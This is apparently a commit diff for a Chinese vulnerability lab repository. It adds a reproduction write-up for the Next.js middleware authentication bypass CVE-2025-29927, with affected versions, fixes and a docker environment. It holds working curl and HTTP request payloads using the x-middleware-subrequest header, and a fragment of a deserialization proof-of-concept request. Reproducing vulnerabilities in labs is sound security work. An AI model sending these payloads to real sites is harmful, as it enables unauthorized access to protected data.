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update CVE-2025-29927
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* Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞 CVE-2021-28169
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* Jmeter RMI 反序列化命令执行漏洞 CVE-2018-1297
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* muhttpd 任意文件读取漏洞 CVE-2022-31793
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* Next.js 中间件鉴权绕过漏洞 CVE-2025-29927
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* Nginx 文件名逻辑漏洞 CVE-2013-4547
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* Nginx 解析漏洞
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* Nginx 配置错误漏洞
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中间件漏洞/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927.md
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中间件漏洞/Next.js 中间件鉴权绕过漏洞 CVE-2025-29927.md
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# Next.js 中间件鉴权绕过漏洞 CVE-2025-29927
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## 漏洞描述
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Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。
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该漏洞允许攻击者通过操作 `x-middleware-subrequest` 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。
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参考链接:
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- https://github.com/advisories/GHSA-f82v-jwr5-mffw
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- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
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- https://nvd.nist.gov/vuln/detail/CVE-2025-29927
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- https://nextjs.org/blog/cve-2025-29927
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- https://github.com/aydinnyunus/CVE-2025-29927
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## 漏洞影响
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```
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Next.js 15.x < 15.2.3
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Next.js 14.x < 14.2.25
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Next.js 13.x < 13.5.9
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```
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## 环境搭建
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Vulhub 执行以下命令启动一个基于 Next.js 15.2.2 的存在漏洞的应用:
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```
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docker compose up -d
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```
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应用启动后,访问 `http://your-ip:3000` 会被重定向到登录页面。输入默认凭据 `admin:password`,你可以登录成功并访问仪表盘。
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## 漏洞复现
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如果在没有合法凭据的情况下直接访问仪表盘,将会被重定向到登录页面:
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```
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curl -i http://your-ip:3000
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```
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```
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GET / HTTP/1.1
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Host: your-ip:3000
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Cookie:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Accept: */*
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Accept-Encoding: gzip, deflate
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```
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要利用此漏洞,可以在请求中添加 `x-middleware-subrequest` 请求头,其值为 `middleware:middleware:middleware:middleware:middleware`。Next.js 中间件会错误地处理此请求头并绕过身份验证检查:
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```
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curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://your-ip:3000
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```
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```
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GET / HTTP/1.1
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Host: your-ip:3000
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Accept: */*
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Accept-Encoding: gzip, deflate
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x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
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```
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可见,没有传入任何身份认证信息即可成功访问到仪表盘。
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如果上述 payload 不起作用,可以尝试:
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```shell
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x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
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```
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## 漏洞修复
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已修复版本:
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- 对于 Next.js 15.x 版本,此问题已在 `15.2.3` 中修复
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- 对于 Next.js 14.x 版本,此问题已在 `14.2.25` 中修复
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- 对于 Next.js 13.x 版本,此问题已在 `13.5.9` 中修复
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- 对于 Next.js 12.x,此问题已在 `12.3.5` 中修复
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如果修补到安全版本不可行,建议阻止包含 `x-middleware-subrequest` 头的外部用户请求。
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@ -182,6 +182,16 @@ YOUR-PAYLOAD-HERE
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```
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GET / HTTP/1.1
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Host: your-ip:8080
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Accept: */*
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User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
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Accept-Encoding: gzip, deflate
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Cookie: JSESSIONID=.poc
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```
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CommonsCollectionsK1 gadget 被成功序列化,执行了 `touch /tmp/awesome_poc` 命令:
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